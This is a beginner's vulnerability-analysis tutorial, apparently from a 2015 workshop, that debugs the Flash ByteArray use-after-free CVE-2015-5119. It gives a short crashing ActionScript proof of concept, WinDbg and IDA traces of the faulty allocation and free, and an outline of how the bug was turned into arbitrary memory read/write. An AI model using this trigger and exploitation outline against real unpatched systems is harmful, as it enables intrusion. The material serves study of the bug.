This document is a written form of a workshop and presentation I gave at Portcullis Labs in late July 2015. It is a beginner’s walkthrough to understand the recent Flash bug that was discovered in Hacking Team’s pocket and given the sweet name of CVE-2015-5119. It was found and exploited by Vitaliy Toropov.
Disclaimer: If you are already a confirmed reverse engineer xor a debugging ninja, this document is not for you, go hack something else :-).
As a beginner software bug analysis is not a very easy task. It requires a fair amount of experience that you can only get with motivation, time, perseverance and someone to kick your but when you start to be discouraged. One may find easier to work on example codes, made-up proof of concept and other challenges. This is true as it surely helps to quickly understand some concepts but if you are willing to spend some time I suggest you’d rather work on real bugs. This way you will dive into one specific software product, you will start to understand its internals and eventually find your own bugs. Also, you will get that extra little feeling of compl33tness and the beloved one will eventually come back.
In this article we will first start to reverse engineer the function that crashes. We will then dig around it to understand the circumstances of the crash. This will be done by recreating step by step the different pieces needed to produce the final proof of concept. Lastly, we will finish by identifying where the allocation and the freeing of the faulty memory block is performed.
Prerequisites
You first need to download a vulnerable version of Flash. I suggest to use Flash player rather than the plugin version. It is much easier to debug. Try to find version 18_0.0.160 if you want to match my binary analysis. Additionally you can download or browse the AVM+ avmplus source code.
Obviously you need a debugger. Pick up the one of your choice, there are plenty of excellent free ones: Windbg, Ollydbg2, ImmunityDbg, x64dbg. My assembly samples have been produced with IDA Pro. Only using a debugger is enough and you don’t really need a disassember but you can always try the demonstration version of IDA Pro or Hopper on Unix.
In addition, download the walkthrough sample archive.
Lastly a fair knowledge of x86 assembly and object programming is desired. Grab a good cup of excellent tea. Or coffee if you are one of those.
The crash
Enough of the boring verbiage, let’s start. Observe the following Flash Action Script code.
ba = new ByteArray(); ba.length = 0x01000000; o = new Object(); o.valueOf = function() { ba.clear(); return 0x41414141; } ba[0x42424242] = o
At first you can see that a new Byte Array is being initialised with the size of 0×01000000 bytes. There is a reason why the size is this big and we will get to it later. Right after a new object is created and its valueOf method is being overloaded with some custom code. The object is then assigned in the byte array object at offset 0×42424242.
Open Flash player and open the 0_poc.swf sample file. Attach your debugger. I will use Windbg for this paper but use the one of your choice. Then click on the Trigger button and observe the following crash.
Output from Windbg:
(7ec.e28): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=41414141 ebx=045acfa9 ecx=0458de07 edx=00000007 esi=49d94242 edi=01163810 eip=01898e8d esp=0015e71c ebp=0015e790 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c98ad: 01898e8d 8806 mov byte ptr [esi],al ds:002b:49d94242=??
As you can see, Flash is trying to assign a byte at ESI at a memory location that is not mapped in memory. The value of EAX is 0×41414141.
If you want to use a disassembler, jump to the faulting instruction. Beware of address space layout randomization (ASLR). You need to compute the correct address. This is easily done by subtracting the desired address with the start address of the loaded module and then add the base address of the module. You can get the start address with Windbg using the following command:
0:000> lm m flashplayer_18_0_0_160 start end module name 012a0000 01fd3000 flashplayer_18_0_0_160 (export symbols) C:\Users\user\Desktop\Flash\flashplayer_18_0.0.160.exe
You can get the base address of the module from IDA Pro running the following Python command:
Python>hex(idaapi.get_imagebase()) 0x400000
Jump at 0x009f8e8d (0x01898e8d – 0x012a0000 + 0×400000) and observe the following function.
.text:009F8E70 sub_9F8E70 proc near .text:009F8E70 .text:009F8E70 arg_0 = dword ptr 4 .text:009F8E70 arg_4 = dword ptr 8 .text:009F8E70 .text:009F8E70 mov eax, [esp+arg_0] .text:009F8E74 push esi .text:009F8E75 push eax .text:009F8E76 add ecx, 18h .text:009F8E79 call sub_9F8AF0 .text:009F8E7E mov ecx, [esp+4+arg_4] .text:009F8E82 push ecx .text:009F8E83 mov esi, eax .text:009F8E85 call sub_9E0170 .text:009F8E8A add esp, 4 .text:009F8E8D mov [esi], al ; Crashes here. .text:009F8E8F pop esi .text:009F8E90 retn 8 .text:009F8E90 sub_9F8E70 endp
The function takes two arguments. Then two functions are called. The first argument of the sub_9F8AF0() function is the same argument as the sub_9F8E70() function. The returned value is saved in the ESI register, remember, where the crash occurs. The value being saved is the return value of the second function. The argument of the second function sub_9E0170() is the second argument of the sub_9F8E70() function.
Let’s restart Flash and break in sub_9F8E70(): start address + 0x09F8E70 – 0×400000.
0:007> ba e1 flashplayer_18_0_0_160+0x5f8e70 0:007> g SetContext failed, 0x80070005 MachineInfo::SetContext failed - Thread: 001ABAE0 Handle: 2cc Id: 27c - Error == 0x80070005 Breakpoint 0 hit eax=42424242 ebx=038e03f9 ecx=038e03f8 edx=01908e70 esi=045c42f8 edi=00fc3810 eip=01908e70 esp=0041eb20 ebp=0041eb90 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c9890: 01908e70 8b442404 mov eax,dword ptr [esp+4] ss:002b:0041eb24=42424242
The first argument is 0×42424242. Remember the Action Script code, this is our byte array index. Let’s step now until the first function returns.
0:000> p SetContext failed, 0x80070005 MachineInfo::SetContext failed - Thread: 001ABE40 Handle: 3c0 Id: 114c - Error == 0x80070005 SetContext failed, 0x80070005 MachineInfo::SetContext failed - Thread: 001ABAE0 Handle: 2cc Id: fac - Error == 0x80070005 eax=49d94242 ebx=038e03f9 ecx=038e0434 edx=00000000 esi=045c42f8 edi=00fc3810 eip=01908e7e esp=0041eb1c ebp=0041eb90 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c989e: 01908e7e 8b4c240c mov ecx,dword ptr [esp+0Ch] ss:002b:0041eb28=e97f6304 0:000> dd eax 49d94242 00000000 00000000 00000000 00000000 49d94252 00000000 00000000 00000000 00000000 49d94262 00000000 00000000 00000000 00000000 49d94272 00000000 00000000 00000000 00000000 49d94282 00000000 00000000 00000000 00000000 49d94292 00000000 00000000 00000000 00000000 49d942a2 00000000 00000000 00000000 00000000 49d942b2 00000000 00000000 00000000 00000000
The function returns a pointer and we can see the address pointed is mapped. Let’s see what the second function returns.
0:000> p eax=49d94242 ebx=038e03f9 ecx=04637fe9 edx=00000000 esi=49d94242 edi=00fc3810 eip=01908e85 esp=0041eb18 ebp=0041eb90 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c98a5: 01908e85 e8e672feff call flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1b0b90 (018f0170) 0:000> dd 04637fe9 L4 04637fe9 0201c03d 60000000 000449f1 f9044854 0:000> p eax=41414141 ebx=038e03f9 ecx=00eacf07 edx=00000007 esi=49d94242 edi=00fc3810 eip=01908e8a esp=0041eb18 ebp=0041eb90 iopl=0 nv up ei pl nz ac pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216 flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c98aa: 01908e8a 83c404 add esp,4
The first argument of the sub_9E0170() function is being saved in the ECX register. It seems to be a pointer. The return value of the function is 0×41414141. Remember again, the returned value of the overloaded valueOf method.
Stepping until the instruction that crashes shows that the memory address 0x49d94242 is not mapped anymore.
0:000> p eax=41414141 ebx=038e03f9 ecx=00eacf07 edx=00000007 esi=49d94242 edi=00fc3810 eip=01908e8d esp=0041eb1c ebp=0041eb90 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c98ad: 01908e8d 8806 mov byte ptr [esi],al ds:002b:49d94242=?? 0:000> dd esi 49d94242 ???????? ???????? ???????? ???????? 49d94252 ???????? ???????? ???????? ???????? 49d94262 ???????? ???????? ???????? ???????? 49d94272 ???????? ???????? ???????? ???????? 49d94282 ???????? ???????? ???????? ???????? 49d94292 ???????? ???????? ???????? ???????? 49d942a2 ???????? ???????? ???????? ???????? 49d942b2 ???????? ???????? ???????? ????????
The devil is in the sub_9E0170() function.
Understanding AvmCore::integer
It is clear now that the function that crashes is the one responsible for assigning a byte to an element of the array. We usually never really need the source code when debugging a crash but it surely ease the work. A quick look at the ByteArray source code gives us the function symbols:
void ByteArrayObject::setUintProperty(uint32_t i, Atom value) { m_byteArray[i] = uint8_t(AvmCore::integer(value)); }
We can set ourselves the symbols in the disassembler.
.text:009F8E70 ByteArrayObject__setUintProperty proc near .text:009F8E70 .text:009F8E70 index = dword ptr 4 .text:009F8E70 atom = dword ptr 8 .text:009F8E70 .text:009F8E70 mov eax, [esp+index] ; The index in the array .text:009F8E74 push esi .text:009F8E75 push eax .text:009F8E76 add ecx, 18h .text:009F8E79 call ByteArray_operator_bracket ; Return the memory address of array+index. .text:009F8E7E mov ecx, [esp+4+atom] .text:009F8E82 push ecx .text:009F8E83 mov esi, eax .text:009F8E85 call AvmCore_integer .text:009F8E8A add esp, 4 .text:009F8E8D mov [esi], al ; Set the byte at array+index. .text:009F8E8F pop esi .text:009F8E90 retn 8 .text:009F8E90 ByteArrayObject__setUintProperty endp
The way the ByteArray_operator_bracket() function works is not needed here. The fun is happening in the AvmCore_integer() function. The source code of this function can be found here. I have populated the disassembler with the new known symbols.
.text:009E0170 AvmCore_integer proc near .text:009E0170 .text:009E0170 .text:009E0170 var_8 = qword ptr -8 .text:009E0170 atom = dword ptr 4 .text:009E0170 .text:009E0170 mov eax, [esp+atom] .text:009E0174 mov ecx, eax .text:009E0176 and ecx, 7 .text:009E0179 cmp ecx, 6 ; Check the atom's kind. .text:009E017C jnz short convert_the_object .text:009E017E .text:009E017E return_the_value: .text:009E017E sar eax, 3 .text:009E0181 retn .text:009E0182 .text:009E0182 convert_the_object: .text:009E0182 cmp ecx, 5 .text:009E0185 jz short return_the_value .text:009E0187 push eax .text:009E0188 call number .text:009E018D push ecx .text:009E018E fstp [esp+8+var_8] .text:009E0191 call integer_d .text:009E0196 add esp, 8 .text:009E0199 retn .text:009E0199 AvmCore_integer endp
The argument of this function is an atom. If the object is an integer, its value is returned. Otherwise the number() function is called on the atom.
Let’s verify this by seeing how the following ActionScript is being executed:
ba = new ByteArray(); ba.length = 0x01000000; ba[0] = 0x41;
Open the 1_simplebyte.swf with Flash player, attach your debugger, set your breakpoints and break at the AvmCore_integer() function.
eax=068a0000 ebx=0109ecb0 ecx=039e9434 edx=00748e70 esi=03b132f8 edi=039e93f8 eip=00748e7e esp=0109eb9c ebp=0109ec10 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c989e: 00748e7e 8b4c240c mov ecx,dword ptr [esp+0Ch] ss:002b:0109eba8=0e020000 0:000> ... eax=0000020e ebx=0109ecb0 ecx=00000006 edx=00748e70 esi=068a0000 edi=039e93f8 eip=00730179 esp=0109eb94 ebp=0109ec10 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1b0b99: 00730179 83f906 cmp ecx,6
The atom’s kind is indeed an integer.
eax=0000020e ebx=0109ecb0 ecx=00000006 edx=00748e70 esi=068a0000 edi=039e93f8 eip=0073017e esp=0109eb94 ebp=0109ec10 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1b0b9e: 0073017e c1f803 sar eax,3 0:000> p eax=00000041 ebx=0109ecb0 ecx=00000006 edx=00748e70 esi=068a0000 edi=039e93f8 eip=00730181 esp=0109eb94 ebp=0109ec10 iopl=0 nv up ei pl nz na pe cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000207 flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1b0ba1: 00730181 c3 ret
and the value 0×41 is being returned. But what happens if the atom is not an integer but a simple object.
Let’s use the following code:
ba = new ByteArray(); ba.length = 0x01000000; ba[0] = 0x41; ba[1] = new Object();
Open the 2_simpleobject.swf and break at the second call to AvmCore_integer() where the object is being assigned.
eax=07da0001 ebx=07a7ba29 ecx=07a42fe9 edx=00748e70 esi=07da0001 edi=03a59810 eip=00730170 esp=0109eb94 ebp=0109ec10 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1b0b90: 00730170 8b442404 mov eax,dword ptr [esp+4] ss:002b:0109eb98=e92fa407 ... eax=07a42fe9 ebx=07a7ba29 ecx=00000001 edx=00748e70 esi=07da0001 edi=03a59810 eip=00730179 esp=0109eb94 ebp=0109ec10 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1b0b99: 00730179 83f906 cmp ecx,6 ... eax=07a42fe9 ebx=07a7ba29 ecx=00000001 edx=00748e70 esi=07da0001 edi=03a59810 eip=00730188 esp=0109eb90 ebp=0109ec10 iopl=0 nv up ei ng nz ac pe cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000297 flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1b0ba8: 00730188 e8f3e1ffff call flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aeda0 (0072e380)
As expected that atom’s kind is not an integer so the number() function is being called.
The number() function is mainly a loop with a switch inside.
.text:009DE380 number proc near .text:009DE380 .text:009DE380 atom = dword ptr 4 .text:009DE380 .text:009DE380 mov eax, [esp+atom] .text:009DE384 mov edx, eax .text:009DE386 and edx, 7 .text:009DE389 cmp edx, 6 ; Is it already a number? .text:009DE38C jz short return_the_value ... .text:009DE3A2 jmp ds:off_9DE3FC[ecx*4] ; Switch jump
If the object is already a number, its value is simply returned. Otherwise a 5 case plus default switch is encountered. Because our atom is of kind kObjectType, jump case 1 is used:
.text:009DE3B7 loc_9DE3B7: .text:009DE3B7 and eax, 0FFFFFFF8h ; jumptable 009DE3A2 case 1 .text:009DE3BA mov edx, [eax] .text:009DE3BC mov ecx, eax .text:009DE3BE mov eax, [edx+4Ch] .text:009DE3C1 call eax ; AvmCore::atomToScriptObject(atom)->defaultValue()
This can be verified from the debugger.
eax=07a42fe9 ebx=07a7ba29 ecx=00000000 edx=00000001 esi=07da0001 edi=03a59810 eip=0072e3a2 esp=0109eb8c ebp=0109ec10 iopl=0 nv up ei ng nz ac pe cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000297 flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aedc2: 0072e3a2 ff248dfce37200 jmp dword ptr flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aee1c (0072e3fc)[ecx*4] ds:002b:0072e3fc=b7e37200 ... eax=0074ab30 ebx=07a7ba29 ecx=07a42fe8 edx=00a43de0 esi=07da0001 edi=03a59810 eip=0072e3c1 esp=0109eb8c ebp=0109ec10 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aede1: 0072e3c1 ffd0 call eax {flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1cb550 (0074ab30)} 0:000> p eax=07a42fa2 ebx=07a7ba29 ecx=07a42f02 edx=02f65000 esi=07da0001 edi=03a59810 eip=0072e3c3 esp=0109eb8c ebp=0109ec10 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aede3: 0072e3c3 8bd0 mov edx,eax
This function returns an object and we loop once more if the returned object is not a number as seen below:
eax=07a42fa2 ebx=07a7ba29 ecx=07a42f02 edx=00000002 esi=07da0001 edi=03a59810 eip=0072e3c8 esp=0109eb8c ebp=0109ec10 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aede8: 0072e3c8 83fa06 cmp edx,6 0:000> t eax=07a42fa2 ebx=07a7ba29 ecx=07a42f02 edx=00000002 esi=07da0001 edi=03a59810 eip=0072e3cb esp=0109eb8c ebp=0109ec10 iopl=0 nv up ei ng nz ac pe cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000297 flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aedeb: 0072e3cb 75c3 jne flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aedb0 (0072e390) [br=1]
Ultimately zero is returned.
Now let’s consider the following piece of code:
ba = new ByteArray(); ba.length = 0x01000000; ba[0] = 0x41; o = new Object(); o.valueOf = function() { return 0x42; } ba[1] = o;
We have now overloaded the valueOf() method with an ActionScript function to make it to return 0×42. Open the 3_object_withvalueOf.swf file and break at the second call to the number() function. Step through until the call to the AvmCore::atomToScriptObject(atom)->defaultValue() function.
eax=014aab30 ebx=0393d3f9 ecx=031a94f0 edx=017a3de0 esi=06860001 edi=03124810 eip=0148e3c1 esp=0035eb4c ebp=0035ebd0 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aede1: 0148e3c1 ffd0 call eax {flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1cb550 (014aab30)} 0:000> p eax=00000216 ebx=0393d3f9 ecx=00000206 edx=00280000 esi=06860001 edi=03124810 eip=0148e3c3 esp=0035eb4c ebp=0035ebd0 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aede3: 0148e3c3 8bd0 mov edx,eax ... eax=00000216 ebx=0393d3f9 ecx=00000206 edx=00000006 esi=06860001 edi=03124810 eip=0148e3cd esp=0035eb4c ebp=0035ebd0 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aeded: 0148e3cd c1f803 sar eax,3 0:000> t eax=00000042 ebx=0393d3f9 ecx=00000206 edx=00000006 esi=06860001 edi=03124810 eip=0148e3d0 esp=0035eb4c ebp=0035ebd0 iopl=0 nv up ei pl nz na pe cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000207 flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aedf0: 0148e3d0 89442404 mov dword ptr [esp+4],eax ss:002b:0035eb50=f1941a03
You can observe that the returned object is now an integer of value 0×42 as expected.
Allocation of the byte array.
Remember the byte array being initialised with a size of 0×01000000 bytes? The reason is that the VirtualAlloc() function is going to make the allocation and not the custom allocator for the purposes of a proof of concept. Fire up again the 0_poc.swf file and set a break point at VirtuallAlloc().
0:007> bp kernel32!VirtualAlloc *** Unable to resolve unqualified symbol in Bp expression 'fastMalloc'. 0:007> ba e1 flashplayer_18_0_0_160+0x5f8e70 0:007> g
Click on the Trigger button and wait for the breakpoint to be hit.
Breakpoint 0 hit eax=01000000 ebx=01000000 ecx=00000000 edx=00000000 esi=00d90058 edi=00001000 eip=74d8182f esp=0021e868 ebp=0021e8da iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 kernel32!VirtualAlloc: *** Unable to resolve unqualified symbol in Bp expression 'fastMalloc'. 74d8182f ff250809d874 jmp dword ptr [kernel32!_imp__VirtualAlloc (74d80908)] ds:002b:74d80908={KERNELBASE!VirtualAlloc (7548f002)} 0:000> t eax=01000000 ebx=01000000 ecx=00000000 edx=00000000 esi=00d90058 edi=00001000 eip=7548f002 esp=0021e868 ebp=0021e8da iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 KERNELBASE!VirtualAlloc: 7548f002 8bff mov edi,edi 0:000> gu eax=06900000 ebx=01000000 ecx=150a0000 edx=000adfb8 esi=00d90058 edi=00001000 eip=008af347 esp=0021e87c ebp=0021e8da iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x13fd67: 008af347 c3 ret
As you can see a block of 0×01000000 bytes is being allocated. Observe the allocation is done twice. The reason is that the block is not committed in the first call but both calls return the same address.
Now just add a new breakpoint on the AvmCore_Integer() function. Step over the ByteArray_operator_bracket() function. A new allocation is made.
0:000> ba e1 flashplayer_18_0_0_160+0x5f8e85 eax=42424242 ebx=04370ef9 ecx=04370f10 edx=01238e70 esi=044642f8 edi=03223810 eip=01238e79 esp=002fe898 ebp=002fe910 iopl=0 nv up ei pl nz ac po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000212 flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c9899: 01238e79 e872fcffff call flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c9510 (01238af0) 0:000> g Breakpoint 0 hit eax=42425000 ebx=42425000 ecx=00000000 edx=00000000 esi=01690058 edi=00042425 eip=74d8182f esp=002fe70c ebp=002fe77e iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 kernel32!VirtualAlloc: 74d8182f ff250809d874 jmp dword ptr [kernel32!_imp__VirtualAlloc (74d80908)] ds:002b:74d80908={KERNELBASE!VirtualAlloc (7548f002)} 0:000> t eax=42425000 ebx=42425000 ecx=00000000 edx=00000000 esi=01690058 edi=00042425 eip=7548f002 esp=002fe70c ebp=002fe77e iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 KERNELBASE!VirtualAlloc: 7548f002 8bff mov edi,edi 0:000> gu eax=077a0000 ebx=42425000 ecx=3b7e0000 edx=000ae308 esi=01690058 edi=00042425 eip=011af347 esp=002fe720 ebp=002fe77e iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x13fd67: 011af347 c3 ret
Indeed index 0×42424242 is too big for the 0×01000000 array, it needs to allocate a larger block. This time the desired size is 0×42425000 bytes and the block starts at address 0x077a0000.
0:000> dd 077a0000 077a0000 00000000 00000000 00000000 00000000 077a0010 00000000 00000000 00000000 00000000 077a0020 00000000 00000000 00000000 00000000 077a0030 00000000 00000000 00000000 00000000 077a0040 00000000 00000000 00000000 00000000 077a0050 00000000 00000000 00000000 00000000 077a0060 00000000 00000000 00000000 00000000 077a0070 00000000 00000000 00000000 00000000
Freeing the byte array.
Break just before the AvmCore_Integer() function is called. Set a new breakpoint on the VirtualFree() function. Observe it’s being hit before AvmCore_Integer() returns 0×41414141.
Breakpoint 2 hit eax=49bc4242 ebx=04370ef9 ecx=032a94f1 edx=00000000 esi=49bc4242 edi=03223810 eip=01238e85 esp=002fe898 ebp=002fe910 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c98a5: 01238e85 e8e672feff call flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1b0b90 (01220170) 0:000> bp kernel32!VirtualFree 0:000> g Breakpoint 4 hit eax=077a0000 ebx=74d81401 ecx=42425000 edx=077a0000 esi=01690058 edi=030f4078 eip=74d81847 esp=002fe64c ebp=01690934 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 kernel32!VirtualFree: 74d81847 ff251009d874 jmp dword ptr [kernel32!_imp__VirtualFree (74d80910)] ds:002b:74d80910={KERNELBASE!VirtualFree (7548ef47)}
This is because of ba.clear(). Indeed the memory at 0x077a0000 is not allocated anymore and Flash crashes.
0:000> dd 077a0000 077a0000 ???????? ???????? ???????? ???????? 077a0010 ???????? ???????? ???????? ???????? 077a0020 ???????? ???????? ???????? ???????? 077a0030 ???????? ???????? ???????? ???????? 077a0040 ???????? ???????? ???????? ???????? 077a0050 ???????? ???????? ???????? ???????? 077a0060 ???????? ???????? ???????? ???????? 077a0070 ???????? ???????? ???????? ???????? 0:000> g (ef8.8a8): Access violation - code c0000005 (!!! second chance !!!) eax=41414141 ebx=04370ef9 ecx=0576ca07 edx=00000007 esi=49bc4242 edi=03223810 eip=01238e8d esp=002fe89c ebp=002fe910 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c98ad: 01238e8d 8806 mov byte ptr [esi],al ds:002b:49bc4242=??
Conclusion
In order to exploit this vulnerability, before the patch was applied, you had to overwrite the freed location with a vector object and then overwrite the length value of the vector object. This way it is possible to read and write anywhere in the process memory.
To conclude, exploiting vulnerabilities is the most enjoyable part for most of us but understanding a bug is a mandatory step to go further. Not only will it train you to be better at reversing code but it will help you to write more stable exploits. It is sad in a way that for this bug most of the people just ripped of the original exploit to simply replace it with their own shellcodes.